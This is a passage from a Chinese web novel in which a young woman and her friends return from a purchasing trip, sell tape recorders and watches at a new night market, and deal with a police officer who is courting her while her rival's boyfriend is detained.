赵有归把听筒挪开些,等他诉完理由,看着文件慢慢说:“楚邵,你帮林裕宝开多久的车,你我心里有数。你拿那笔钱,终究是因为钱还是因为林菲儿本身,你心里清楚。我只问一句,你确定只拿林裕宝一万?
我听说你在那边已经拉起两个工程队,已经完成一项工程建设。”
“……赵有归!”你要逼死我吗?
楚邵看着这边虎视眈眈的警察,压下心头怒火,咬牙咬唇再咬……缓缓吐出:“三万,真得只有三万。而且,它们已经被我用到上一个工程的红砖、水泥、脚手架、工具……工人工资……我现在赚得都是自己的钱!”
电话另一头的赵有归无声地笑,知道对面看不见,放下笔后沉稳地说:“你让对面的负责人接电话。”
两边通一会电话。
深地警察挂断电话,朝楚邵说:“我们已经了解具体情况,需要时间核实你说的话。然后,我们会开会商讨对你的处罚规定。”
“不是,警察同志,我还有事。我还要去见我的爱人。”楚邵急切说,“我不会跑路,你先放我出去好吗?”
警察回头看去:“你在外面还有爱人?刚刚进去那位不是吗?”
楚邵嚅唇,无望地歪头:“她……不是啊。”
警察的眼神都变了。工地上的人喊得都是老板和老板娘,这会一出事就想撇干净。这男青年真下头。
楚邵看他不理人,还想说什么,却无人理会,只好垂下头。
一会过后,林菲儿从审讯室出来,他急忙喊:“菲儿,菲儿,你没事吧?”
林菲儿扬眸看去,跑去抱住他:“楚邵,我爸他……他……”
“我知道。”楚邵轻轻点头,“你爸杀了陆天。他是为给你报仇。”
林菲儿顿时大哭,哭声响彻整个大堂:“啊……爸……我错了,爸……”
——若我知道你是站在我这边,站在我这边……
楚邵管不得她的心情,蹲下来说:“菲儿,别哭了。你帮我个忙,你帮我去找林语晨,跟她说……”
“啪”得一声,楚邵结结实实挨了一巴掌,赤目瞪去:“你非得跟我闹吗?林菲儿!”
林菲儿起身,泪眼朦胧中又给他一巴掌,而后头也不回离开。她要回江源县,看爸爸看弟弟……楚邵,你就在这待着吧。
若是我早一点知道爸会这么做,我会早早把陆天的事告诉他……不,孙不二是他的弟兄。我爸敬重孙不二,他肯为了我背弃孙不二和弟兄的女儿孙佳人吗?
——不知道!
楚邵看着头也不回离开的林菲儿,环顾一群看热闹的警察,呵了声,苦巴巴地垂着脸。
他蹲下来,抹脸痛哭:“怎么会这样?一天一夜,什么糟糕的事都找上门。”
一名年轻的警察生了同情心,拍在楚邵的肩头:“好了,大男人哭什么。谁都有倒霉的时候,没人举报,我们也不知道你这事,是吧?”
楚邵放下抹泪的手,愣怔地问:“举报?谁举报我?”
这就不方便说了。
警察拉着他去安排拘留的事宜,若是核实他拿了三万,还得催他交出非法所得。
楚邵的脑子里全是“举报”两字,想起林菲儿天没亮说得:“昨天,她就在工地外面,我猜她是来找你。”
林语晨……举报我?
她为什么这么做?
此刻,林语晨同大伙坐上返回灵江市的火车。火车开出前,林菲儿匆匆登上这辆火车,靠在车门上抹泪,随后找座位。
淳于芳穿过几节车厢,看到那个失魂落魄靠着车窗哭的林菲儿,眼神跳了又跳。
她不动声色地继续走,到卧铺这边。
“林语晨,你猜我看到谁?”
林语晨和张茉莉坐在下
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铺床上看小人书,闻声说:“不会又是林菲儿吧?”
“是啊。”淳于芳激动地说,“她好像在哭,神情很丧。”
林语晨和张茉莉对了眼,眼神里分明写着:难道是警察行动了?
淳于芳狐疑地看两人眉来眼去,好奇问:“说起来,昨天我和李伶俐去采购,你们去干吗?”
张茉莉生了兴趣:“她给这边的警察写了封匿名举报信,跑电话亭打电话给灵江市局举报渣男非法获利。
我猜,两人是大难临头各自飞。”
“……”淳于芳惊叹,“林语晨,如果我得罪你,你记得同我说一声,我会诚恳向你道歉!”
“哈哈哈……”张茉莉大笑,拍在淳于芳的肩头,“咱两有革命友谊了。哈哈哈……”
林语晨瞪去,损友不必多,一个足矣,再来一个该短命了。
“芳芳,别管她。我们说点正经事。”
“啥?”茉莉和淳于芳齐齐看去。
“若是你收到录取通知书,应该在这边读书吧?”林语晨见她点头,又说,“你觉得何成的活怎么样?”
“嗯?”淳于芳回想何成办的事,“挺好,一张证两头跑,动动嘴皮子出点力就能赚三十元一单,比人家上班高多了。”
“他这种行当,不申报就是水客,申报就是私人货代。我觉得你在这边读书,可以尝试做他这行。但是,你要开公司,走正经申报流程。”
淳于芳哑然,磕巴说:“我……我怎么可能……”
“怎么不能啊?”张茉莉搭话,“语晨的想法很好啊。李伶俐不是让你带东西吗?何罗秋也是啊,我也想你帮忙带一些吃穿用呢。这么说来,你已经有好几个潜在客户。”
林语晨拍在张茉莉的手臂,朝淳于芳说:“我们几人现在是小打小闹,算不上正经生意。不过,在未来确实有可能做大。
芳芳,灵江市的摊贩有很大的发展空间,包括店铺……这些人都要到这边进货。
若是你从现在做起,将来可以在灵江市建立货物集散地。灵江市的商贩为求节约成本和便利,会从你这边拿货。你可以掌握灵江市未来十年的经济。”
“……”张茉莉和淳于芳震惊地看向林语晨,有几个惊讶的词想说,一时汇聚不出来。
“所以,我建议你先成立货代公司,代行运货、拿货、包括申报、清关等手续。你一个人肯定不行。但是,不久之后,你会有同学。你可以在学校找一些志同道合的伙伴。”
“等等,”张茉莉举手,朝淳于芳说,“别找外人了,我就可以啊。我入股,你同不同意?林小姐,你要不要入股?”
林语晨见她望来,被这声林小姐叫得忍俊不禁,咧嘴笑了。
淳于芳眨巴眼,抽着唇角:“林语晨,你跟她一起疯吗?我行吗?我不行。”
“你行!”张茉莉肯定地说,“我说过没有——我小婶是深地人,可以给你一点小帮助。他们这边的人很团结,你相信我。但是,我投钱入股要两成利。你呢?林小姐。”又朝林语晨看去。
林语晨被她俩看着,摇头说:“我不入股。我只是在积攒未来可用的人脉。”
张茉莉啧了声:“林小姐,你真是个人精。”这声“林小姐”被她越喊越纯熟。
她见淳于芳不懂“人脉”两字的威力,提醒说:“老话说得好,出门在外多一个朋友多一条路。我们这次结交何方明、何成对吧?因为他们,我们这次进货没踩坑,可以说没损失,这就是人脉。何方明也是这样啊。他听说林语晨在市局有人的时候,神色都变了。后来,我们展露些本事,他的结交心更强了。在他看来,我们就是他以后的人脉。懂?”
淳于芳恍然大悟,点头:“林语晨,我这辈子没跪过人,但是我跪过你。如果,我真得按你说得做,你不用入股,我也会给你留……两成利,同拿钱入股的茉莉一样。”
“……”林语晨失笑,莞尔,“随你。”
日后,若真能做起来,两成利可不是一笔小钱!
张茉莉啧了声:“这声林小姐真没白喊,一个点子就拿走人家两成利。我这种要掏真金白银也才两成利。”
林语晨笑说:“你说太快了。若是入股分红,要看公司的注册资本和你的出资额度在公司里占多少份额来算。”
张茉莉扑抱住林语晨:“你为什么学那个什么心理学,你应该去学金融管理!”
林语晨推她,笑说:“好了好了。这不妨害我未来真正想做什么呀。”
淳于芳羡慕地看着两人闹,虽说她和两人一起反抗过校园霸凌,还欺负过别人……但是,怎么看都好像比不上两人的关系。
不过,她一直心怀感激,放下这份羡慕,试着打趣说:“林小姐,那林菲儿……怎么办?”
淳于芳学着张茉莉的说法方式喊林语晨,惹得对面瞧来,忍不住笑了,生出被关注的快乐。
林语晨不和茉莉闹,看向淳于芳:“芳芳,我给你出点子就是告诉你,你的未来无限光明,你是要干大事的人,不要把注意力留给无关紧要的人。”
话音刚落,就遭张茉莉一肘击。
淳于芳听完这句话,一种被肯定的感动充斥心田。整个眼前好像被拨开云雾,见到光明,仿佛未来充满希望和憧憬。她怀揣激动的心情,晕晕乎乎地回硬座车厢。
这次,她连个眼神都没给失魂落魄的林菲儿。
张茉莉看着林语晨抚摸手臂,嗤说:“无关紧要的人?谁巴巴地走几里地去找人算账,花高价坐摩的去寻仇去举报……咱们林小姐看起来大气,心里啊,可真虚啊。”
林语晨睨回去:“我就是这么虚伪,你还喜欢和我做朋友?古话说,物以类聚人以群分。我瞧着张大小姐是掉钱眼子里去了。”
“我掉钱眼子?”张茉莉撸袖子,“你看这小卧铺,对面都放着你们的东西,害我和你挤一块窝着,我还生气呢。”
“是吗?我以为你喜欢这样呢。”
张茉莉气笑,直接扑过去挠她。
笑声混着火车的匡砸声一路奔向灵江市。
60. 请吃饭
赵有归一袭白衬衫,卷起衣袖,靠在车旁,等着火车进站。
本来赵晓鹤要一起来接人,赵有归以她们回来会用店铺为由,让他继续留在新租的店铺里收拾。
林语晨等人拉着推车到出站口,一眼望见人群中宛如一座峰的男人。
“怎么是他?”
张茉莉闻声看去,“哦吼”了声:“赵有归,赵大哥,这边!”
林语晨想拉她都来不及,已经看到男人望来,而茉莉也迎上去。
——人家说不定不是来接咱们呢?
赵有归莞尔笑着,朝茉莉挥手,看到她身后穿天蓝色大花连衣裙的亮眼女人。
她有了几分前世的气质,自信的姿态、显眼的衣着,乃至精致的妆容,散发着让人移不开眼的光芒,像黑夜里的灯塔,让人忍不住去追寻她的存在。
“这边!”赵有归收敛紧盯的目光,上前帮她们拉东西,“你们好。语晨,茉莉,回来了,这趟还顺利吗?”
林语晨被张茉莉推在后腰,拉起唇角:“顺利。有归哥,你怎么来了?”
“我正好找晓鹤问点事,又恰好到这边办事,顺路来接你们。”赵有归的眼神一扫,望向另一出口处的同事。
几人跟着看去。
林语晨见到熟悉的宋景和其他身穿制服的警员。
宋景还朝这边挥了挥手,撞了下旁边的钱育才,示意他看过去。
老钱不明所以,跟着挥手,恍然明白:赵局……来接人啊?我说呢,一个林菲儿罢了,哪需要赵局露面。原来醉翁之意不在酒,在于美人也。
“宋景,到底哪一个是老妹啊?”
宋景没理他,看到列车员护送林菲儿出来,赶紧去交涉。
李伶俐和何罗秋不认识赵有归,等着林语晨和张茉莉介绍,却发现她们都不提这人的身份,悄悄问淳于芳。
淳于芳收起感激的目光,眨着眼:“他是林语晨的同村大哥,一名警员。”
“哦,难怪……”李伶俐点头,“长得真高。”
何罗秋笑嘻嘻:“我觉得他给人的感觉很安全,像茉莉一样。”立马挨了茉莉一脚,跑到赵有归旁边,嬉笑说,“赵大哥,你好,你认识赵晓琳吗?”
赵有归已经注意到他,点头:“你是何罗秋?”
“赵大哥认识我?”何罗秋喜出望外,一定是晓琳跟他提了。
“我听晓琳提起过你。我叫赵有归,晓琳的另一个哥哥。她还有个哥哥叫赵晓鹤。”赵有归向他伸手。
何罗秋受宠若惊,赶紧握上:“赵大哥,以后你就是我的第二亲大哥。你手好大,好有力!”
“……我当过兵。”赵有归松开手,没想到此时的何罗秋有股孩子气,笑得越发亲厚。
他看向不说话的姑娘,提醒说:“语晨,你们去晓鹤的店吧?我送你们过去。”
林语晨和茉莉对了眼,招呼其她人上车。
茉莉看着眼熟的车,好奇说:“赵哥,我哥把车转给你啦?”
“嗯。他说这车让他心口疼,折价转给我。我还在攒钱还他车贷呢。”赵有归笑,一点没有难为情的意思。
这时候能买到二手车都是有钱人,谁会看不起买车的人。
何罗秋羡慕一脸,宣誓般说:“将来,我也要买一辆这么酷的吉普车,带心爱的姑娘环游我大祖国。”
林语晨也看着这辆熟悉的车,感觉脑袋疼。
与林裕宝交锋的不好记忆蜂拥而上,让她忍不住摸在额角、脸颊。
若她是张天鸿,也会把这车卖掉,上面还溅过血。只有赵有归这种百无禁忌的男人才敢买下来吧。
何罗秋主动坐在副驾驶,与赵有归攀谈,问起车子的性能、价格等。
赵有归十分有耐心地回答他。
林语晨总觉得赵有归对何罗秋有种不同寻常的“喜欢”。
对,就是喜欢。
赵有归帮助过淳于芳,都没同她多说句话,只点头问好。但是,赵有归主动找何罗秋攀谈,甚至知道他的名字。
赵晓琳喜欢赵有归,又怎么会同赵有归谈护花使者何罗秋呢?这不纯粹自找麻烦。
两人明明是第一次见面,交谈时,赵有归却表现得像很早就认识何罗秋。
这太奇怪了!
张茉莉打破车里的安静:“赵大哥,你现在好歹是当官的人,单位不给你配车吗?”
“配了。现在要经常去开会,确实需要车。不过,自己开车方便。”赵有归答应,“正好你哥有这意思,我就盘了。”
“那我哥一定买新车了。赵大哥,你送我到前面的公交站就行,我去小姨家。”
赵有归:“好。”
林语晨想起赵晓鹤对茉莉的朦胧暗恋,试着推一把:“茉莉,不去晓鹤的店里看看吗?我们应该会在他那边卖东西。”
“不了。我和那家伙又不熟,而且我累死了,想去小姨家补个觉。”张茉莉转着眼儿,看向前面的司机,“赵大哥,我才不信你有这么巧来接我们。”
一句话,车里的耳朵都竖起来。
林语晨下意识拉了拉张茉莉的衣袖。
——这“仇”回得也太快了吧!
张茉莉回她个“看我的”眼神,继续说:“林语晨打电话给她们村委找赵晓琳,怎么兜转着变成你来接人,故意吧?”
赵有归转看后视镜,从镜子里看到张茉莉打趣的脸,以及旁边略有不安、神情局促的林语晨,缓缓回答:“赵晓琳通知赵晓鹤,赵晓鹤又顺道告诉我,我顺道接你们,有什么问题?”
她这么紧张吗?神情都外露了。
张茉莉啧了声:“你是真顺道啊!”又挑眉追问,“其实,你去火车站接的另有其人吧?”
赵有归没再回应这话,朝后视镜笑笑。
另一边,宋景等人谢过火车的列车员,护送林菲儿上警车。
目送赵局带一帮女生离开,宋景感慨句:“老钱,我觉得你猜的对,报本可能是帮别人剪。”
刚才钱育才已经观察一圈,觉得对面除男青年,女生各个都漂亮:“这茬还没过去呢?老妹在那群女生里吧,究竟是哪一个啊?”
“最漂亮那个啊。”宋景看老钱一脸抽象,忍不住地笑。
“每个人对美的理解不一样好吗?所以,到底是哪位啊?”钱育才又问,“穿得跟花瓶一样那位?”
宋景“哎”了声:“天蓝色连衣裙、扎大麻花辫子那位,你怎么猜出来呢?”
老钱微笑,露出姜还是老的辣的神色,老神在在说:“我猜对了?我就觉得她和赵局的气质最像、最搭、最合拍。别得小姑娘看起来都太嫩了。”
宋景朝他竖大拇指:“不愧是老钱,真让你蒙对了。不过,我怎么没看出来两人气质像?老……林小妹挺青春啊。”
老钱睨他:“你的意思是咱们赵局是老大爷?”
宋景呃了声,懒得理他,朝后座沉默不语的林菲儿说:“林菲儿,我们带你去看林裕宝。”
林菲儿垂脸点头,轻声问:“楚邵会没事吧?那钱是我爸打算给我,我没什么用,交给他做生意。”
钱育才啧了声。
宋景严肃地回:“楚邵拿了脏钱又花掉是事实。他帮过我们也是事实。我们只要他交出非法所得,按规章办事,会放了他。”
“帮?”林菲儿震惊地睁大眼,“他……帮了你们什么?”
宋景和钱育才对了眼,没再说话。
林菲儿的心像是被悬起来,换个问题:“我弟弟飞成还好吗?”
钱育才:“不怎么样。林裕钱什么德性,你清楚吧?江源县的警察上过几次门,帮着劝过林裕钱别打孩子。但是,效果不大。
我们有你母亲的地址,也去找过她。但是,她……不搭理我们。所以,我们希望你可以出面找你的母亲收留林飞成,或者,你把林飞成带在身边教养。当然,后面的方案,我们尊重你的个人意愿。”
林菲儿一时无言,斜靠在车窗,想说谢谢,却张不开口。
——
张茉莉下车后,车子里越发安静。
何罗秋自来熟地没话找话。
但是,赵有归不是个热络人,越往后回应的越发简单,最后只剩下一个“嗯”字。
等到南门街,翘首以盼的赵晓鹤巴巴地迎上来:“语晨,你们回来了?”
林语晨下车,拍了拍他的肩头,看向他背后的店铺:“不错啊。效率很高。”
“那是,你的命令就是首长的指令,必须立即执行。”赵晓鹤说完,发现几人看过来,尤其是赵有归的眼神特别犀利,咽了口吐沫,倾身贴在语晨的耳边,“有归哥不知道是你让我找他帮忙租铺子。”
林语晨拉出个僵硬的笑脸,回头看眼赵有归。
这家伙这么深沉,恐怕早猜到吧。
“行了,帮忙搬东西吧。我们把东西存你这没问题吧?”
“没问题。我本来只打算租一间,但是,有归哥说,若你拿货回来,物品种类不同,估计要一间店铺,我就把隔壁一起租了。”
赵晓鹤说着话,一起帮忙把车上的东西搬进隔壁店铺,还在不断碎碎念,“幸好房东是一家,租金还过得去,没动我的根。”
林语晨不断应着他的话,心道赵有归肯定早就推断出来——租房子的事恐怕有我的手笔。
李伶俐、何罗秋、淳于芳一起帮着把货物搬进隔壁的店铺。
何罗秋还有些疑问:“语晨姐,我是不是应该把电子手表拿回去卖啊?”
“你觉得县里的购买力吃得下你这批手表吗?”林语晨直截了当问。
何罗秋一点就通:“我明白了。”
李伶俐上来说:“语晨姐,那我也……”
“放这吧。等卖掉有钱了,咱们再商量着给店主多少房租合适。放心,我们几个人一起分摊,不会贵到哪里去。”林语晨也看出李伶俐的一点小性子,跟家里不富裕也有关系,遂而尽量让她宽心。
赵晓鹤在旁边点头:“对。之前,语晨同我商量过了,你们看着给就行。”
他给林语晨回笑脸,似在说“我都是看你的面子。”
李伶俐的脸上依旧闪过肉痛的表情,看两人眉来眼去,默默点头:“好。”目光一茬,瞥向那个专心搬东西的高大男人。
——他也喜欢林语晨吗?怎么都喜欢林语晨?
淳于芳最轻松,含笑说:“我的货还要几天才到站。我先回去,还是留在这帮你们卖东西?”
李伶俐的神思回笼,赶紧说:“芳芳,留下来吧。你可以学点经验啊。”
林语晨由着她们商量,跟赵晓鹤到隔壁的古董店。
赵有归帮着搬完货后一声不吭跟过去,看着两人在店里交流货架摆放、古董物品等,站在店门口看街头的风景。
赵晓鹤听到隔壁喊人,先过去:“语晨,你招待下有归哥。我接到晓琳电话时还愁怎么帮你们拉货,幸好有归哥过来问,托他跑一趟。”
林语晨有些吃惊:“他……主动问?”
“嗯。他说沈阿姨想你,问我‘你什么时候回来,可以到她家吃顿饭’。”赵晓鹤一点不犹豫地说,“我说:巧了,你正好今天回来。他就赶去车站接你们。本来,我也要去接你。但是,他说得对,你们回来就要用店铺,我得
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赶紧收拾出来。”
林语晨诧异地看去,望着那道高大的背影,心间充盈“果然”、“原来是这样”等难以言喻的酥麻热流。
又不知道该怎么面对他,回头问:“你妹……她不来吗?”
赵晓鹤早已去隔壁的店铺,解决李伶俐问的货架问题。
林语晨再回头时,对上赵有归平静平常的有力目光,暗暗建设了下心里的高墙,才大步走到赵有归身边,却不知道该说什么。
赵有归主动开口:“听说你今天回来,想请你去家里吃顿饭。本来上次就要请。”
“……没这个必要吧?”林语晨背后的手轻轻地搓了下,“晚上,我想着去摆摊……”
“你带什么回来?”赵有归紧跟着问,“我看到有几台录音机,是那几台录音机?”
“啊。”林语晨点头,“录音机的利润高,量少,稀缺。”
“价格也高,一般人买不起,摆摊的话更不好卖。而且,最近市局查得严,若是非法来源,一律没收。”赵有归一本正经说。
林语晨瞬间正色,从一旁的包里捞出文件,递给他:“我们都是正规渠道拿货,都有文件。你看印章,出货证明、清关资料,都在这。”
赵有归闻着她靠近的气息,垂视着她仰脸望来的较真劲,点头说:“没错。你可以去坊河街摆摊。省局制定摆摊规定,灵江市现在有三个摊贩点:坊河街、北门市、灵江市场。”
“……”林语晨眨着眼,从他漾漾的眼波里抽身,愣愣地说,“我走之前……没这规定吧?”
“嗯,你赶上了。全市报纸公告,摊贩试点在今晚开始实施。坊河街离这里近,居民人口量大,今夜应该会很热闹。”赵有归看着她发怔的脸,不由自主笑着。她的脸渐趋红润,他又怕她恼,赶紧撇开脸不看。
林语晨是真回不过神,又觉得这政策是好事。只是,前世这时候,摊贩定点的规定有这么早吗?好像没有吧!
她狐疑地看向赵有归:“谁提出摊贩试点的政策啊?”
“当然是省政楼、省厅联合制定,市局执行。”赵有归快口回,轻咳了声,“不然,我请你的同学们一起去灵江楼吃饭吧?当是接风宴!”
“……”这更奇怪好吗?什么身份、理由啊请同学一起吃饭?
林语晨一口拒绝:“不用。谢谢有归哥,帮我同婶婶说一声,等我卖掉录音机就去看她。对了,我给她带了礼物。”
又从包里翻出一瓶雪花膏,递给他,“麻烦你帮我带给她。”
赵有归迟疑了下,接过来拽在手里,暗叹了声,再问:“你的录音机卖多少一台?”
林语晨想着他不会要买吧?多尴尬啊。
“四百。有归哥,其实……”
“我先拿两台,卖掉了给你把钱送过来,可以吗?”赵有归看她愣住,轻笑着,“这东西放到摊上不一定有人出钱买。你去摆摊也是碰运气。”
“好。”关系到钱的事,林语晨一点不迟疑,又赶紧说,“我可以送两盘磁带,放在录音机里唱的。”
“嗯。”赵有归答应,绕过林语晨朝店铺里理货的几人说,“大家辛苦了,一会到灵江楼吃饭,当是我……和晓鹤给你们接风洗尘。”
赵晓鹤微愣,推了推眼睛说:“对。我也是这个意思!”
“哇,好啊!”何罗秋最先跳起来,“谢谢两位亲哥!”
李伶俐也笑,望向何罗秋:“亏得晓琳不在,罗秋,你的心思啊,简直是司马昭之心,路人皆知。”
听着这话的赵有归不由看了眼林语晨,发现她收回的目光,莞尔笑了下。
何罗秋不好意思地摸头,觑向两位赵哥的表情,发现他们都在看林语晨,一愣过后也笑了:大家都是男人,追女孩子天经地义,没道理反对吧!
他笑得越发开心。
淳于芳也笑:“谢谢两位赵哥。”
目光有意无意打量着后方的林语晨。上次赵有归和林语晨去骆家村,她就看出两人的关系匪浅,这会得到证实!
赵有归回头望去,眉尾如锋、眉弓如笔转,含笑的唇角似在说:这样说,你不会介意了吧?
林语晨垂头微笑,无声地点头,又抬头:“不然,我们把茉莉叫上吧。”
好朋友,有仇一起报,有饭一起吃,有尴尬一起抗!
赵有归拉高唇角:“好。我给她哥打电话。”这年头没有手机,喊个人得转三四道才能通知到本人。
灵江酒楼立在灵江边,算得上百年老字号,店里还有清朝皇帝写的匾额。
赵有归让大家点菜,七个人八道菜,不算多,却点了各自喜欢的口味
张茉莉看着给自己夹菜的赵晓鹤,顿时蹙眉:“你……不用这么客气,我自己会夹菜。”
赵晓鹤红着脸点头:“我……就是想谢谢你上次在县上救了我。”
张茉莉哦了声:“那人是你啊,你是赵晓琳的哥哥?”
“是我是我。”赵晓鹤的血色已经泛到耳朵尖,“我叫赵晓鹤,‘晓鹤弹古舌,婆罗门叫音。应吹天上律,不使尘中寻’,孟郊诗中的晓鹤。”
张茉莉眨眼:“哦……呵呵,好名字……”
好尴尬啊,总觉得怪怪的!
她转头看林语晨,发现她的脸色也红得不正常。
林语晨本来看张茉莉的热闹,一低头碗碟里多块酥肉,瞥向旁边拿公筷的赵有归,拉起唇角:“谢谢。”
赵有归嗯了声,举起饮料对大家说:“我们走一个吧。预祝你们摆摊顺利。”
“谢谢。”众人一起向他道谢,喝一口甜滋滋的汽水。
一餐饭,宾主尽欢。
61. 录音机
摊贩定点的规定出来后,坊河街一时间成为灵江市热门的街市,晚上也确实热闹。
大家问管理处拿一张牌就可以摆摊,什么冰粉、木莲豆腐摊,手工布鞋摊、煎饼果子摊……但凡手里有个手艺,都跑到夜市里摆摊。
那些没手艺得居民就上街看热闹,回头能模仿就模仿,不能模仿也开始绞尽脑汁想着卖什么。
林语晨按下录音机的播放键。港地女星的歌声传出去,声音婉婉动听,吸引游客闻歌而来。
不过片刻,一群人围在摊位前问录音机的用法和价格。
录音机的价格高得出奇。
大多数人一听400元,只问不买。
即使有钱,只肯出钱买一盘新磁带,这还是家里有录音机的人才会买磁带。
但是,何罗秋的电子手表却成夜市的热门货,两元一只,虽然贵,但是大家咬咬牙还是能买得起。
一时间,卖得最好就是何罗秋的货。
李伶俐带的东西比较杂,多是女同志在问。淳于芳帮着她一起卖,介绍产品的用法和效果,陆陆续续卖出去不少。折叠伞、香皂、雪花膏……利润各不相同,但也赚了不少。
有心人开始向几人打听从哪里进的货,还有塞钱问消息。
何罗秋经不住大家的好话,稍许透露一点:“当然从外地进来啊,进口货。”
巡逻的片区警察过来,让几人出示货物的来源证明。
林语晨把准备好的资料递去:“我们的东西都是正当来源,也有申报流程。”
警察翻过资料,哼笑说:“原来是从港地过来,深地过关啊。你们还挺有头脑。行了,好好卖吧,祝你们发财!”
林语晨收好资料,那些打听消息的居民已经满意地离开,默默地叹了声。
淳于芳过来说:“语晨姐,这些人不会是故意吧?”
“谁没个亲戚呢。这都是正常事。”林语晨给她点着那些满意离去的人,“你看到这些人的神色吗?他们都想赚钱,想去那边进货。这几天你赶紧拉着茉莉把货代公司的事定下来。茉莉的小婶在灵江市,请她帮着出门跑部门,你能省不少事。”
淳于芳绷起脸色,重重地点头:“好。我已经闻到金钱的气息。卖了东西的感觉真舒服,我爱这种感觉。哎,茉莉呢?”
林语晨指向街巷对面:“她在吃冰粉!!!!!”
淳于芳哈哈大笑,丢下林语晨跑去同茉莉商量成立货代公司的事。
——
翌日,省政楼里,谭省办公室传来一阵越剧的唱腔声,路过的办事人员好奇张望两眼,又默默地走开。
谭省笑说:“刚催着我办完摊贩试点的事,就给我来这大礼。我可受不住啊,拿回去。”
赵有归放下茶杯:“您说笑了,我怎么敢给领导送礼。这东西400一台,打算卖给你。”
“……”谭省好像吃口苍蝇一样难受,“四百?你不如坐我的位置,把我一年的工资都领走。”
“这话严重了。这就是卖货助学,人家赚了钱也是拿去上大学。若您不喜欢,我再去问问别人吧。”赵有归起身拿录音机。
谭省一把按住银色的提手,板张脸,用商量的语气问:“你就不能把它放在我这几天,当是租借也行。”
“我想啊,可是不方便。人家从大老远进来的货,等着卖了钱交学费。”赵有归再提,又被谭省按住,为难说,“不然,350卖给你,我给垫50?”
“……看不起谁呢,赵有归,你个臭小子。”谭省拍在他的手背,“去”了声,“东西留下,我回去请示过夫人,你明天过来拿钱。你这种单身人士,就是不懂事。”
“呵,您说得对。多谢谭省。我先走了。”赵有归戴上帽子,转身出门,又回头说,“发票、说明书都在盒子里面,磁带是赠品。”
“等等……”谭省起身说,“再给我来两盘这样的磁带。”
“我尽量。”赵有归回笑,转身出办公室。
他去车上,又拎起一台录音机,往省厅办公室走去。
蔡局长看到他就摆出大黑脸,看着录音机更是没好脸色:“行贿啊?我不收。”
“哪能啊。四百五一台,便宜卖你,四百元。”赵有归放下录音机,给蔡厅的杯子倒满水,给自己也来一杯。
蔡厅长看着冒热气的水杯,抽着唇角:“我信你个邪。钱育才从外面收缴回来,卖300-400不等,你卖给我450一台。赵有归,看不出来你面憨心黑啊。”
赵有归展颜笑着,被拆穿后一点没有难为情,淡定地坐下喝茶:“这次摊贩试点的事……”
“啧!”蔡厅长不等他说完,睨去,“行了行了,东西留在这。上次,我家老太太听隔壁家有这玩意,还让我打听哪有得卖。正好,你有一台我就买。三百五,不能更多!不然,我上外头买去。”
“好。”赵有归吹拂茶叶,喝口水润喉,最后盖碗起身,“多谢蔡厅长。”
“咱俩没这么熟。回江源县的时候,帮我跟祁连说一声,让他没事回市里看看我。”
有心眼又能干的下属当真是麻烦。没心眼不能干的下属虽不好用,但能无功无过养老。
蔡厅长看着他离开,见门关上,迫不及待塞磁带,按下播放键。
港台女歌星的嘹亮声音顿时散去窗外。
楼下的赵有归停下脚步,仰头看向上面的窗口,笑摇着头。
这次摊贩试点上报,署名:蔡厅长。功绩自然也落在他的头上。
赵有归不揽功,一是摊贩定点试点政策在九十年代实施,现在过早实施,等于暴露重生的事。
二是蔡厅长一直以来就不喜欢他。送完功绩、再卖录音机,等于让他还了这份人情。既不得罪他也不让他惦记自己,平衡彼此的利害关系。
政治生于百姓,却把手段用于百姓。
为官者也是百姓。
翌日,赵有归收齐两家的钱,又问沈秋霞拿张百元大钞。
沈秋霞不解问:“你要这么多钱干什么?”
“……语晨不是给你带礼物吗?她的朋友带些新奇东西来卖,我想着再买一点回来。”赵有归顿了顿,又说,“帮帮她们。”
沈秋霞意味深长地笑着:“行啦。妈知道了,去吧。等等,家里的钱得给你留着娶媳妇,你省着点花,知道吗?”
赵有归点头,拽着凑齐的八百元钱去找林语晨。
三天时间,何罗秋的电子手表销售一空,已经回家报喜。李伶俐的货物卖得慢一点,留一些准备拿回江源县卖。
今日一早,两人已经一起回家。
淳于芳还得等货,就留在赵晓鹤的店里帮忙,算是抵这几天的吃住钱。
其实,大家这三天过得挺苦,吃住都在隔壁的店铺,铺几张报纸就席地睡。幸好是大夏天吧,不然真容易生病。
赵有归来时,林语晨正和张天鸿、张茉莉在赵晓鹤的古董店里聊天。古董店也是一天一个样。老赵家的博古架也被拉来,上面摆着各种瓷器,还有雕花玲珑小桌子当茶几,光看色泽就知道是盘了多年的老物件。
几人坐在以前赵晓鹤家院子里的梨花桌子前聊天,见到赵有归,纷纷起身。
张天鸿哟吼了声:“大忙人终于来了。现在见你一面不容易啊。”
“说什么笑话。你想见我直接去单位找。”赵有归回应了张茉莉、赵晓鹤的招呼,看向林语晨。
林语晨露齿而笑,兴奋地说:“有归哥,你的录音机卖掉吗?天鸿哥问我买了一台录音机,说是放到他新盘的酒吧用。茉莉小婶的同事也拿了一台。我这边的两台都卖掉了。若你那边还没有卖掉,茉莉小婶说可以帮忙再问问别的同事。”
“巧了,我那两台也卖了。这是八百元钱,就是要拿来给你。”赵有归把钱当面点给她,又问张天鸿,“你要开酒吧?你不会盘下宝誉歌舞厅吧?”
张天鸿点头:“是啊。反正,我不是什么厂支书,不用再严守纪律。开个酒吧可以给大家聚聚,挺好啊。”
赵有归想着他的事,点头说:“注意点分寸。”
“放心吧。我又不是林裕宝。”张天鸿看向茉莉,“妈让我带你回家,找你算账呢。”
“我不回。”张茉莉抱住林语晨的手臂,“我跟语晨一起回去。”
林语晨收好钱,拉着她说:“赶巧了,我卖掉东西,正想回家呢。”
张天鸿朝坐下的赵有归说:“你四百一台卖得呀?好本事。你家林小妹给我优惠价,三百五一台呢。”
张茉莉竖起耳朵,插话说:“没错,我带给小姨的同事也是三百五一台。哈哈哈……有归哥,好本事啊,你卖给谁了?”
赵有归炯炯地看向林语晨,直把人看得脸色发烫发红。
林语晨已经有些不好意思。
当初报价四百是想让他知难而退,根本没想卖给他。
她抽出一百元递给赵有归:“有归哥,真不好意思。其实三百五一台,我也赚很多。当然,一开始我是打算卖400元。既然,大家都是朋友,应该一个价……多得钱,你拿回去吧。”
赵有归看着递回来的一百元,摇头
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说:“我卖这么多就是这么多,该是你就是你。若你实在过意不去,还有磁带吗?”
“嗯?我还有几盒,都给你拿去送客户。”林语晨赶紧捞出几张磁带给他,“真不好意思。你把这些拿去吧。”
赵有归收好磁带,笑说:“我把磁带送他们。”看向张家兄妹,缓缓说,“中午一起吃饭。”
“好啊。我被老妈绝杀前,赶紧吃个饱饭。”张茉莉遭了张天鸿一记打,“哥……”
